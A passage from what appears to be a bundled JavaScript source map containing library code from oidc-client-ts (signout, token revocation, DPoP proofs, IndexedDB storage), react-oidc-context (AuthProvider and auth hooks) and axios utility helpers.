this._signoutStart(args, handle);\n return await this._signoutEnd(navResponse.url);\n }\n async _signoutStart(args = {}, handle) {\n var _a;\n const logger2 = this._logger.create(\"_signoutStart\");\n try {\n const user = await this._loadUser();\n logger2.debug(\"loaded current user from storage\");\n if (this.settings.revokeTokensOnSignout) {\n await this._revokeInternal(user);\n }\n const id_token = args.id_token_hint || user && user.id_token;\n if (id_token) {\n logger2.debug(\"setting id_token_hint in signout request\");\n args.id_token_hint = id_token;\n }\n await this.removeUser();\n logger2.debug(\"user removed, creating signout request\");\n const signoutRequest = await this._client.createSignoutRequest(args);\n logger2.debug(\"got signout request\");\n return await handle.navigate({\n url: signoutRequest.url,\n state: (_a = signoutRequest.state) == null ? void 0 : _a.id,\n scriptOrigin: this.settings.iframeScriptOrigin\n });\n } catch (err) {\n logger2.debug(\"error after preparing navigator, closing navigator window\");\n handle.close();\n throw err;\n }\n }\n async _signoutEnd(url) {\n const logger2 = this._logger.create(\"_signoutEnd\");\n const signoutResponse = await this._client.processSignoutResponse(url);\n logger2.debug(\"got signout response\");\n return signoutResponse;\n }\n /**\n * Trigger a silent request (via an iframe) to the end session endpoint.\n *\n * @returns A promise\n */\n async signoutSilent(args = {}) {\n var _a;\n const logger2 = this._logger.create(\"signoutSilent\");\n const {\n silentRequestTimeoutInSeconds,\n ...requestArgs\n } = args;\n const id_token_hint = this.settings.includeIdTokenInSilentSignout ? (_a = await this._loadUser()) == null ? void 0 : _a.id_token : void 0;\n const url = this.settings.popup_post_logout_redirect_uri;\n const handle = await this._iframeNavigator.prepare({ silentRequestTimeoutInSeconds });\n await this._signout({\n request_type: \"so:s\",\n post_logout_redirect_uri: url,\n id_token_hint,\n ...requestArgs\n }, handle);\n logger2.info(\"success\");\n }\n /**\n * Notify the parent window of response (callback) from the end session endpoint.\n * It is recommended to use {@link UserManager.signoutCallback} instead.\n *\n * @returns A promise\n *\n * @see {@link UserManager.signoutCallback}\n */\n async signoutSilentCallback(url = window.location.href) {\n const logger2 = this._logger.create(\"signoutSilentCallback\");\n await this._iframeNavigator.callback(url);\n logger2.info(\"success\");\n }\n async revokeTokens(types) {\n const user = await this._loadUser();\n await this._revokeInternal(user, types);\n }\n async _revokeInternal(user, types = this.settings.revokeTokenTypes) {\n const logger2 = this._logger.create(\"_revokeInternal\");\n if (!user) return;\n const typesPresent = types.filter((type) => typeof user[type] === \"string\");\n if (!typesPresent.length) {\n logger2.debug(\"no need to revoke due to no token(s)\");\n return;\n }\n for (const type of typesPresent) {\n await this._client.revokeToken(\n user[type],\n type\n );\n logger2.info(`${type} revoked successfully`);\n if (type !== \"access_token\") {\n user[type] = null;\n }\n }\n await this.storeUser(user);\n logger2.debug(\"user stored\");\n await this._events.load(user);\n }\n /**\n * Enables silent renew for the `UserManager`.\n */\n startSilentRenew() {\n this._logger.create(\"startSilentRenew\");\n void this._silentRenewService.start();\n }\n /**\n * Disables silent renew for the `UserManager`.\n */\n stopSilentRenew() {\n this._silentRenewService.stop();\n }\n get _userStoreKey() {\n return `user:${this.settings.authority}:${this.settings.client_id}`;\n }\n async _loadUser() {\n const logger2 = this._logger.create(\"_loadUser\");\n const storageString = await this.settings.userStore.get(this._userStoreKey);\n if (storageString) {\n logger2.debug(\"user storageString loaded\");\n return User.fromStorageString(storageString);\n }\n logger2.debug(\"no user storageString\");\n return null;\n }\n async storeUser(user) {\n const logger2 = this._logger.create(\"storeUser\");\n if (user) {\n logger2.debug(\"storing user\");\n const storageString = user.toStorageString();\n await this.settings.userStore.set(this._userStoreKey, storageString);\n } else {\n this._logger.debug(\"removing user\");\n await this.settings.userStore.remove(this._userStoreKey);\n if (this.settings.dpop) {\n await this.settings.dpop.store.remove(this.settings.client_id);\n }\n }\n }\n /**\n * Removes stale state entries in storage for incomplete authorize requests.\n */\n async clearStaleState() {\n await this._client.clearStaleState();\n }\n /**\n * Dynamically generates a DPoP proof for a given user, URL and optional Http method.\n * This method is useful when you need to make a request to a resource server\n * with fetch or similar, and you need to include a DPoP proof in a DPoP header.\n * @param url - The URL to generate the DPoP proof for\n * @param user - The user to generate the DPoP proof for\n * @param httpMethod - Optional, defaults to \"GET\"\n * @param nonce - Optional nonce provided by the resource server\n *\n * @returns A promise containing the DPoP proof or undefined if DPoP is not enabled/no user is found.\n */\n async dpopProof(url, user, httpMethod, nonce) {\n var _a, _b;\n const dpopState = await ((_b = (_a = this.settings.dpop) == null ? void 0 : _a.store) == null ? void 0 : _b.get(this.settings.client_id));\n if (dpopState) {\n return await CryptoUtils.generateDPoPProof({\n url,\n accessToken: user == null ? void 0 : user.access_token,\n httpMethod,\n keyPair: dpopState.keys,\n nonce\n });\n }\n return void 0;\n }\n async generateDPoPJkt(dpopSettings) {\n let dpopState = await dpopSettings.store.get(this.settings.client_id);\n if (!dpopState) {\n const dpopKeys = await CryptoUtils.generateDPoPKeys();\n dpopState = new DPoPState(dpopKeys);\n await dpopSettings.store.set(this.settings.client_id, dpopState);\n }\n return await CryptoUtils.generateDPoPJkt(dpopState.keys);\n }\n};\n\n// package.json\nvar version = \"3.3.0\";\n\n// src/Version.ts\nvar Version = version;\n\n// src/IndexedDbDPoPStore.ts\nvar IndexedDbDPoPStore = class {\n constructor() {\n this._dbName = \"oidc\";\n this._storeName = \"dpop\";\n }\n async set(key, value) {\n const store = await this.createStore(this._dbName, this._storeName);\n await store(\"readwrite\", (str) => {\n str.put(value, key);\n return this.promisifyRequest(str.transaction);\n });\n }\n async get(key) {\n const store = await this.createStore(this._dbName, this._storeName);\n return await store(\"readonly\", (str) => {\n return this.promisifyRequest(str.get(key));\n });\n }\n async remove(key) {\n const item = await this.get(key);\n const store = await this.createStore(this._dbName, this._storeName);\n await store(\"readwrite\", (str) => {\n return this.promisifyRequest(str.delete(key));\n });\n return item;\n }\n async getAllKeys() {\n const store = await this.createStore(this._dbName, this._storeName);\n return await store(\"readonly\", (str) => {\n return this.promisifyRequest(str.getAllKeys());\n });\n }\n promisifyRequest(request) {\n return new Promise((resolve, reject) => {\n request.oncomplete = request.onsuccess = () => resolve(request.result);\n request.onabort = request.onerror = () => reject(request.error);\n });\n }\n async createStore(dbName, storeName) {\n const request = indexedDB.open(dbName);\n request.onupgradeneeded = () => request.result.createObjectStore(storeName);\n const db = await this.promisifyRequest(request);\n return async (txMode, callback) => {\n const tx = db.transaction(storeName, txMode);\n const store = tx.objectStore(storeName);\n return await callback(store);\n };\n }\n};\nexport {\n AccessTokenEvents,\n CheckSessionIFrame,\n DPoPState,\n ErrorResponse,\n ErrorTimeout,\n InMemoryWebStorage,\n IndexedDbDPoPStore,\n Log,\n Logger,\n MetadataService,\n OidcClient,\n OidcClientSettingsStore,\n SessionMonitor,\n SigninResponse,\n SigninState,\n SignoutResponse,\n State,\n User,\n UserManager,\n UserManagerSettingsStore,\n Version,\n WebStorageStateStore\n};\n//# sourceMappingURL=oidc-client-ts.js.map\n","// src/AuthContext.ts\nimport React from \"react\";\nvar AuthContext = React.createContext(void 0);\nAuthContext.displayName = \"AuthContext\";\n\n// src/AuthProvider.tsx\nimport { UserManager } from \"oidc-client-ts\";\nimport React2 from \"react\";\n\n// src/AuthState.ts\nvar initialAuthState = {\n isLoading: true,\n isAuthenticated: false\n};\n\n// src/reducer.ts\nvar reducer = (state, action) => {\n switch (action.type) {\n case \"INITIALISED\":\n case \"USER_LOADED\":\n return {\n ...state,\n user: action.user,\n isLoading: false,\n isAuthenticated: action.user ? !action.user.expired : false,\n error: void 0\n };\n case \"USER_SIGNED_OUT\":\n case \"USER_UNLOADED\":\n return {\n ...state,\n user: void 0,\n isAuthenticated: false\n };\n case \"NAVIGATOR_INIT\":\n return {\n ...state,\n isLoading: true,\n activeNavigator: action.method\n };\n case \"NAVIGATOR_CLOSE\":\n return {\n ...state,\n isLoading: false,\n activeNavigator: void 0\n };\n case \"ERROR\": {\n const error = action.error;\n error[\"toString\"] = () => `${error.name}: ${error.message}`;\n return {\n ...state,\n isLoading: false,\n error\n };\n }\n default: {\n const innerError = new TypeError(`unknown type ${action[\"type\"]}`);\n const error = {\n name: innerError.name,\n message: innerError.message,\n innerError,\n stack: innerError.stack,\n source: \"unknown\"\n };\n error[\"toString\"] = () => `${error.name}: ${error.message}`;\n return {\n ...state,\n isLoading: false,\n error\n };\n }\n }\n};\n\n// src/utils.ts\nvar hasAuthParams = (location = window.location) => {\n let searchParams = new URLSearchParams(location.search);\n if ((searchParams.get(\"code\") || searchParams.get(\"error\")) && searchParams.get(\"state\")) {\n return true;\n }\n searchParams = new URLSearchParams(location.hash.replace(\"#\", \"?\"));\n if ((searchParams.get(\"code\") || searchParams.get(\"error\")) && searchParams.get(\"state\")) {\n return true;\n }\n return false;\n};\nvar signinError = normalizeErrorFn(\"signinCallback\", \"Sign-in failed\");\nvar signoutError = normalizeErrorFn(\"signoutCallback\", \"Sign-out failed\");\nvar renewSilentError = normalizeErrorFn(\"renewSilent\", \"Renew silent failed\");\nfunction normalizeError(error, fallbackMessage) {\n return {\n name: stringFieldOf(error, \"name\", () => \"Error\"),\n message: stringFieldOf(error, \"message\", () => fallbackMessage),\n stack: stringFieldOf(error, \"stack\", () => new Error().stack),\n innerError: error\n };\n}\nfunction normalizeErrorFn(source, fallbackMessage) {\n return (error) => {\n return {\n ...normalizeError(error, fallbackMessage),\n source\n };\n };\n}\nfunction stringFieldOf(element, fieldName, or) {\n if (element && typeof element === \"object\") {\n const value = element[fieldName];\n if (typeof value === \"string\") {\n return value;\n }\n }\n return or();\n}\n\n// src/AuthProvider.tsx\nvar userManagerContextKeys = [\n \"clearStaleState\",\n \"querySessionStatus\",\n \"revokeTokens\",\n \"startSilentRenew\",\n \"stopSilentRenew\"\n];\nvar navigatorKeys = [\n \"signinPopup\",\n \"signinSilent\",\n \"signinRedirect\",\n \"signinResourceOwnerCredentials\",\n \"signoutPopup\",\n \"signoutRedirect\",\n \"signoutSilent\"\n];\nvar unsupportedEnvironment = (fnName) => () => {\n throw new Error(\n `UserManager#${fnName} was called from an unsupported context. If this is a server-rendered page, defer this call with useEffect() or pass a custom UserManager implementation.`\n );\n};\nvar UserManagerImpl = typeof window === \"undefined\" ? null : UserManager;\nvar AuthProvider = (props) => {\n const {\n children,\n onSigninCallback,\n skipSigninCallback,\n matchSignoutCallback,\n onSignoutCallback,\n onRemoveUser,\n userManager: userManagerProp = null,\n ...userManagerSettings\n } = props;\n const [userManager] = React2.useState(() => {\n return userManagerProp != null ? userManagerProp : UserManagerImpl ? new UserManagerImpl(userManagerSettings) : { settings: userManagerSettings };\n });\n const [state, dispatch] = React2.useReducer(reducer, initialAuthState);\n const userManagerContext = React2.useMemo(\n () => Object.assign(\n {\n settings: userManager.settings,\n events: userManager.events\n },\n Object.fromEntries(\n userManagerContextKeys.map((key) => {\n var _a, _b;\n return [\n key,\n (_b = (_a = userManager[key]) == null ? void 0 : _a.bind(userManager)) != null ? _b : unsupportedEnvironment(key)\n ];\n })\n ),\n Object.fromEntries(\n navigatorKeys.map((key) => [\n key,\n userManager[key] ? async (args) => {\n dispatch({\n type: \"NAVIGATOR_INIT\",\n method: key\n });\n try {\n return await userManager[key](args);\n } catch (error) {\n dispatch({\n type: \"ERROR\",\n error: {\n ...normalizeError(error, `Unknown error while executing ${key}(...).`),\n source: key,\n args\n }\n });\n return null;\n } finally {\n dispatch({ type: \"NAVIGATOR_CLOSE\" });\n }\n } : unsupportedEnvironment(key)\n ])\n )\n ),\n [userManager]\n );\n const didInitialize = React2.useRef(false);\n React2.useEffect(() => {\n if (!userManager || didInitialize.current) {\n return;\n }\n didInitialize.current = true;\n void (async () => {\n try {\n let user = null;\n if (hasAuthParams() && !skipSigninCallback) {\n user = await userManager.signinCallback();\n if (onSigninCallback) await onSigninCallback(user);\n }\n user = !user ? await userManager.getUser() : user;\n dispatch({ type: \"INITIALISED\", user });\n } catch (error) {\n dispatch({\n type: \"ERROR\",\n error: signinError(error)\n });\n }\n try {\n if (matchSignoutCallback && matchSignoutCallback(userManager.settings)) {\n const resp = await userManager.signoutCallback();\n if (onSignoutCallback) await onSignoutCallback(resp);\n }\n } catch (error) {\n dispatch({\n type: \"ERROR\",\n error: signoutError(error)\n });\n }\n })();\n }, [userManager, skipSigninCallback, onSigninCallback, onSignoutCallback, matchSignoutCallback]);\n React2.useEffect(() => {\n if (!userManager) return void 0;\n const handleUserLoaded = (user) => {\n dispatch({ type: \"USER_LOADED\", user });\n };\n userManager.events.addUserLoaded(handleUserLoaded);\n const handleUserUnloaded = () => {\n dispatch({ type: \"USER_UNLOADED\" });\n };\n userManager.events.addUserUnloaded(handleUserUnloaded);\n const handleUserSignedOut = () => {\n dispatch({ type: \"USER_SIGNED_OUT\" });\n };\n userManager.events.addUserSignedOut(handleUserSignedOut);\n const handleSilentRenewError = (error) => {\n dispatch({\n type: \"ERROR\",\n error: renewSilentError(error)\n });\n };\n userManager.events.addSilentRenewError(handleSilentRenewError);\n return () => {\n userManager.events.removeUserLoaded(handleUserLoaded);\n userManager.events.removeUserUnloaded(handleUserUnloaded);\n userManager.events.removeUserSignedOut(handleUserSignedOut);\n userManager.events.removeSilentRenewError(handleSilentRenewError);\n };\n }, [userManager]);\n const removeUser = React2.useCallback(async () => {\n if (!userManager) unsupportedEnvironment(\"removeUser\");\n await userManager.removeUser();\n if (onRemoveUser) await onRemoveUser();\n }, [userManager, onRemoveUser]);\n const contextValue = React2.useMemo(() => {\n return {\n ...state,\n ...userManagerContext,\n removeUser\n };\n }, [state, userManagerContext, removeUser]);\n return /* @__PURE__ */ React2.createElement(AuthContext.Provider, { value: contextValue }, children);\n};\n\n// src/useAuth.ts\nimport React3 from \"react\";\nvar useAuth = () => {\n const context = React3.useContext(AuthContext);\n if (!context) {\n console.warn(\"AuthProvider context is undefined, please verify you are calling useAuth() as child of a <AuthProvider> component.\");\n }\n return context;\n};\n\n// src/useAutoSignin.ts\nimport React4 from \"react\";\nvar useAutoSignin = ({ signinMethod = \"signinRedirect\" } = {}) => {\n const auth = useAuth();\n const [hasTriedSignin, setHasTriedSignin] = React4.useState(false);\n const shouldAttemptSignin = React4.useMemo(() => !hasAuthParams() && !auth.isAuthenticated && !auth.activeNavigator && !auth.isLoading && !hasTriedSignin, [auth.activeNavigator, auth.isAuthenticated, auth.isLoading, hasTriedSignin]);\n React4.useEffect(() => {\n if (shouldAttemptSignin) {\n switch (signinMethod) {\n case \"signinPopup\":\n void auth.signinPopup();\n break;\n case \"signinRedirect\":\n default:\n void auth.signinRedirect();\n break;\n }\n setHasTriedSignin(true);\n }\n }, [auth, hasTriedSignin, shouldAttemptSignin, signinMethod]);\n return {\n isLoading: auth.isLoading,\n isAuthenticated: auth.isAuthenticated,\n error: auth.error\n };\n};\n\n// src/withAuth.tsx\nimport React5 from \"react\";\nfunction withAuth(Component) {\n const displayName = `withAuth(${Component.displayName || Component.name})`;\n const C = (props) => {\n const auth = useAuth();\n return /* @__PURE__ */ React5.createElement(Component, { ...props, auth });\n };\n C.displayName = displayName;\n return C;\n}\n\n// src/withAuthenticationRequired.tsx\nimport React6 from \"react\";\nvar withAuthenticationRequired = (Component, options = {}) => {\n const { OnRedirecting = () => /* @__PURE__ */ React6.createElement(React6.Fragment, null), onBeforeSignin, signinRedirectArgs } = options;\n const displayName = `withAuthenticationRequired(${Component.displayName || Component.name})`;\n const C = (props) => {\n const auth = useAuth();\n React6.useEffect(() => {\n if (hasAuthParams() || auth.isLoading || auth.activeNavigator || auth.isAuthenticated) {\n return;\n }\n void (async () => {\n if (onBeforeSignin) await onBeforeSignin();\n await auth.signinRedirect(signinRedirectArgs);\n })();\n }, [auth.isLoading, auth.isAuthenticated, auth]);\n return auth.isAuthenticated ? /* @__PURE__ */ React6.createElement(Component, { ...props }) : OnRedirecting();\n };\n C.displayName = displayName;\n return C;\n};\nexport {\n AuthContext,\n AuthProvider,\n hasAuthParams,\n useAuth,\n useAutoSignin,\n withAuth,\n withAuthenticationRequired\n};\n//# sourceMappingURL=react-oidc-context.js.map\n","'use strict';\n\nexport default function bind(fn, thisArg) {\n return function wrap() {\n return fn.apply(thisArg, arguments);\n };\n}\n","'use strict';\n\nimport bind from './helpers/bind.js';\n\n// utils is a library of generic helper functions non-specific to axios\n\nconst {toString} = Object.prototype;\nconst {getPrototypeOf} = Object;\nconst {iterator, toStringTag} = Symbol;\n\nconst kindOf = (cache => thing => {\n const str = toString.call(thing);\n return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());\n})(Object.create(null));\n\nconst kindOfTest = (type) => {\n type = type.toLowerCase();\n return (thing) => kindOf(thing) === type\n}\n\nconst typeOfTest = type => thing => typeof thing === type;\n\n/**\n * Determine if a value is an Array\n *\n * @param {Object} val The value to test\n *\n * @returns {boolean} True if value is an Array, otherwise false\n */\nconst {isArray} = Array;\n\n/**\n * Determine if a value is undefined\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if the value is undefined, otherwise false\n */\nconst isUndefined = typeOfTest('undefined');\n\n/**\n * Determine if a value is a Buffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Buffer, otherwise false\n */\nfunction isBuffer(val) {\n return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)\n && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);\n}\n\n/**\n * Determine if a value is an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is an ArrayBuffer, otherwise false\n */\nconst isArrayBuffer = kindOfTest('ArrayBuffer');\n\n\n/**\n * Determine if a value is a view on an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false\n */\nfunction isArrayBufferView(val) {\n let result;\n if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {\n result = ArrayBuffer.isView(val);\n } else {\n result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));\n }\n return result;\n}\n\n/**\n * Determine if a value is a String\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a String, otherwise false\n */\nconst isString = typeOfTest('string');\n\n/**\n * Determine if a value is a Function\n *\n * @param {*} val The value to test\n * @returns {boolean} True if value is a Function, otherwise false\n */\nconst isFunction = typeOfTest('function');\n\n/**\n * Determine if a value is a Number\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Number, otherwise false\n */\nconst isNumber = typeOfTest('number');\n\n/**\n * Determine if a value is an Object\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an Object, otherwise false\n */\nconst isObject = (thing) => thing !== null && typeof thing === 'object';\n\n/**\n * Determine if a value is a Boolean\n *\n * @param {*} thing The value to test\n * @returns {boolean} True if value is a Boolean, otherwise false\n */\nconst isBoolean = thing => thing === true || thing === false;\n\n/**\n * Determine if a value is a plain Object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a plain Object, otherwise false\n */\nconst isPlainObject = (val) => {\n if (kindOf(val) !== 'object') {\n return false;\n }\n\n const prototype = getPrototypeOf(val);\n return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(toStringTag in val) && !(iterator in val);\n}\n\n/**\n * Determine if a value is a Date\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Date, otherwise false\n */\nconst isDate = kindOfTest('Date');\n\n/**\n * Determine if a value is a File\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFile = kindOfTest('File');\n\n/**\n * Determine if a value is a Blob\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Blob, otherwise false\n */\nconst isBlob = kindOfTest('Blob');\n\n/**\n * Determine if a value is a FileList\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFileList = kindOfTest('FileList');\n\n/**\n * Determine if a value is a Stream\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Stream, otherwise false\n */\nconst isStream = (val) => isObject(val) && isFunction(val.pipe);\n\n/**\n * Determine if a value is a FormData\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an FormData, otherwise false\n */\nconst isFormData = (thing) => {\n let kind;\n return thing && (\n (typeof FormData === 'function' && thing instanceof FormData) || (\n isFunction(thing.append) && (\n (kind = kindOf(thing)) === 'formdata' ||\n // detect form-data instance\n (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')\n )\n )\n )\n}\n\n/**\n * Determine if a value is a URLSearchParams object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a URLSearchParams object, otherwise false\n */\nconst isURLSearchParams = kindOfTest('URLSearchParams');\n\nconst [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);\n\n/**\n * Trim excess whitespace off the beginning and end of a string\n *\n * @param {String} str The String to trim\n *\n * @returns {String} The String freed of excess whitespace\n */\nconst trim = (str) => str.trim ?\n str.trim() : str.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, '');\n\n/**\n * Iterate over an Array or an Object invoking a function for each item.\n *\n * If `obj` is an Array callback will be called passing\n * the value, index, and complete array for each item.\n *\n * If 'obj' is an Object callback will be called passing\n * the value, key, and complete object for each property.\n *\n * @param {Object|Array} obj The object to iterate\n * @param {Function} fn The callback to invoke for each item\n *\n * @param {Boolean} [allOwnKeys = false]\n * @returns {any}\n */\nfunction forEach(obj, fn, {allOwnKeys = false} = {}) {\n // Don't bother if no value provided\n if (obj === null || typeof obj === 'undefined') {\n return;\n }\n\n let i;\n let l;\n\n // Force an array if not already something iterable\n if (typeof obj !== 'object') {\n /*eslint no-param-reassign:0*/\n obj = [obj];\n }\n\n if (isArray(obj)) {\n // Iterate over array values\n for (i = 0, l = obj.length; i < l; i++) {\n fn.call(null, obj[i], i, obj);\n }\n } else {\n // Iterate over object keys\n const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);\n const len = keys.length;\n let key;\n\n for (i = 0; i < len; i++) {\n key = keys[i];\n fn.call(null, obj[key], key, obj);\n }\n }\n}\n\nfunction findKey(obj, key) {\n key = key.toLowerCase();\n const keys = Object.keys(obj);\n let i = keys.length;\n let _key;\n while (i-- > 0) {\n _key = keys[i];\n if (key === _key.toLowerCase()) {\n return _key;\n }\n }\n return null;\n}\n\nconst _global = (() => {\n /*eslint no-undef:0*/\n if (typeof globalThis !== \"undefined\") return globalThis;\n return typeof self !== \"undefined\" ? self : (typeof window !== 'undefined' ? window : global)\n})();\n\nconst isContextDefined = (context) => !isUndefined(context) && context !== _global;\n\n/**\n * Accepts varargs expecting each argument to be an object, then\n * immutably merges the properties of each object and returns result.\n *\n * When multiple objects contain the same key the later object in\n * the arguments list will take precedence.\n *\n * Example:\n *\n * ```js\n * var result = merge({foo: 123}, {foo: 456});\n * console.log(result.foo); // outputs 456\n * ```\n *\n * @param {Object} obj1 Object to merge\n *\n * @returns {Object} Result of all merge properties\n */\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const {caseless} = isContextDefined(this) && this || {};\n const result = {};\n const assignValue = (val, key) => {\n const targetKey = caseless && findKey(result, key) || key;\n if (isPlainObject(result[targetKey]) && isPlainObject(val)) {\n result[targetKey] = merge(result[targetKey], val);\n } else if (isPlainObject(val)) {\n result[targetKey] = merge({}, val);\n } else if (isArray(val)) {\n result[targetKey] = val.slice();\n } else {\n result[targetKey] = val;\n }\n }\n\n for (let i = 0, l = arguments.length; i < l; i++) {\n arguments[i] && forEach(arguments[i], assignValue);\n }\n return result;\n}\n\n/**\n * Extends object a by mutably adding to it the properties of object b.\n *\n * @param {Object} a The object to be extended\n * @param {Object} b The object to copy properties from\n * @param {Object} thisArg The object to bind function to\n *\n * @param {Boolean} [allOwnKeys]\n * @returns {Object} The resulting value of object a\n */\nconst extend = (a, b, thisArg, {allOwnKeys}= {}) => {\n forEach(b, (val, key) => {\n if (thisArg && isFunction(val)) {\n a[key] = bind(val, thisArg);\n } else {\n a[key] = val;\n }\n }, {allOwnKeys});\n return a;\n}\n\n/**\n * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)\n *\n * @param {string} content with BOM\n *\n * @returns {string} content value without BOM\n */\nconst stripBOM = (content) => {\n if (content.charCodeAt(0) === 0xFEFF) {\n content = content.slice(1);\n }\n return content;\n}\n\n/**\n * Inherit the prototype methods from one constructor into another\n * @param {function} constructor\n * @param {function} superConstructor\n * @param {object} [props]\n * @param {object} [descriptors]\n *\n * @returns {void}\n */\nconst inherits = (constructor, superConstructor, props, descriptors) => {\n constructor.prototype = Object.create(superConstructor.prototype, descriptors);\n constructor.prototype.constructor = constructor;\n Object.defineProperty(constructor, 'super', {\n value: superConstructor.prototype\n });\n props && Object.assign(constructor.prototype, props);\n}\n\n/**\n * Resolve object with deep prototype chain to a flat object\n * @param {Object} sourceObj source object\n * @param {Object} [destObj]\n * @param {Function|Boolean} [filter]\n * @param {Function} [propFilter]\n *\n * @returns {Object}\n */\nconst toFlatObject = (sourceObj, destObj, filter, propFilter) => {\n let props;\n let i;\n let prop;\n const merged = {};\n\n destObj = destObj || {};\n // eslint-disable-next-line no-eq-null,eqeqeq\n if (sourceObj == null) return destObj;\n\n do {\n props = Object.getOwnPropertyNames(sourceObj);\n i = props.length;\n while (i-- > 0) {\n prop = props[i];\n if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {\n destObj[prop] = sourceObj[prop];\n merged[prop] = true;\n }\n }\n sourceObj = filter !== false && getPrototypeOf(sourceObj);\n } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);\n\n return destObj;\n}\n\n/**\n * Determines whether a string ends with the characters of a specified string\n *\n * @param {String} str\n * @param {String} searchString\n * @param {Number} [position= 0]\n *\n * @returns {boolean}\n */\nconst endsWith = (str, searchString, position) => {\n str = String(str);\n if (position === undefined || position > str.length) {\n position = str.length;\n }\n position -= searchString.length;\n const lastIndex = str.indexOf(searchString, position);\n return lastIndex !== -1 && lastIndex === position;\n}\n\n\n/**\n * Returns new array from array like object or null if failed\n *\n * @param {*} [thing]\n *\n * @returns {?Array}\n */\nconst toArray = (thing) => {\n if (!thing) return null;\n if (isArray(thing)) return thing;\n let i = thing.length;\n if (!isNumber(i)) return null;\n const arr = new Array(i);\n while (i-- > 0) {\n arr[i] = thing[i];\n }\n return arr;\n}\n\n/**\n * Checking if the Uint8Array exists and if it does, it returns a function that checks if the\n * thing passed in is an instance of Uint8Array\n *\n * @param {TypedArray}\n *\n * @returns {Array}\n */\n// eslint-disable-next-line func-names\nconst isTypedArray = (TypedArray => {\n // eslint-disable-next-line func-names\n return thing => {\n return TypedArray && thing instanceof TypedArray;\n };\n})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));\n\n/**\n * For each entry in the object, call the function with the key and value.\n *\n * @param {Object<any, any>} obj - The object to iterate over.\n * @param {Function} fn - The function to call for each entry.\n *\n * @returns {void}\n */\nconst forEachEntry = (obj, fn) => {\n const generator = obj && obj[iterator];\n\n const _iterator = generator.call(obj);\n\n let result;\n\n while ((result = _iterator.next()) && !result.done) {\n const pair = result.value;\n fn.call(obj, pair[0], pair[1]);\n }\n}\n\n/**\n * It takes a regular expression and a string, and returns an array of all the matches\n *\n * @param {string} regExp - The regular expression to match against.\n * @param {string} str - The string to search.\n *\n * @returns {Array<boolean>}\n */\nconst matchAll = (regExp, str) => {\n let matches;\n const arr = [];\n\n while ((matches = regExp.exec(str)) !== null) {\n arr.push(matches);\n }\n\n return arr;\n}\n\n/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */\nconst isHTMLForm = kindOfTest('HTMLFormElement');\n\nconst toCamelCase = str => {\n return str.toLowerCase().replace(/[-_\\s]([a-z\\d])(\\w*)/g,\n function replacer(m, p1, p2) {\n return p1.toUpperCase() + p2;\n }\n );\n};\n\n/* Creating a function that will check if an object has a property. */\nconst hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);\n\n/**\n * Determine if a value is a RegExp object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a RegExp object, otherwise false\n */\nconst isRegExp = kindOfTest('RegExp');\n\nconst reduceDescriptors = (obj, reducer) => {\n const descriptors = Object.getOwnPropertyDescriptors(obj);\n const reducedDescriptors = {};\n\n forEach(descriptors, (descriptor, name) => {\n let ret;\n if ((ret = reducer(descriptor, name, obj)) !== false) {\n reducedDescriptors[name] = ret || descriptor;\n }\n });\n\n Object.defineProperties(obj, reducedDescriptors);\n}\n\n/**\n * Makes all methods read-only\n * @param {Object} obj\n */\n\nconst freezeMethods = (obj) => {\n reduceDescriptors(obj, (descriptor, name) => {\n // skip restricted props in strict mode\n if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {\n return false;\n }\n\n const value = obj[name];\n\n if (!isFunction(value)) return;\n\n descriptor.enumerable = false;\n\n if ('writable' in descriptor) {\n descriptor.writable = false;\n return;\n }\n\n if (!descriptor.set) {\n descriptor.set = () => {\n throw Error('Can not rewrite read-only method \\'' + name + '\\'');\n };\n }\n });\n}\n\nconst toObjectSet = (arrayOrString, delimiter) => {\n const obj = {};\n\n const define = (arr) => {\n arr.forEach(value => {\n obj[value] = true;\n });\n }\n\n isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));\n\n return obj;\n}\n\nconst noop = () => {}\n\nconst toFiniteNumber = (value, defaultValue) => {\n return value != null && Number.isFinite(value = +value) ? value : defaultValue;\n}\n\n/**\n * If the thing is a FormData object, return true, otherwise return false.\n *\n * @param {unknown} thing - The thing to check.\n *\n * @returns {boolean}\n */\nfunction 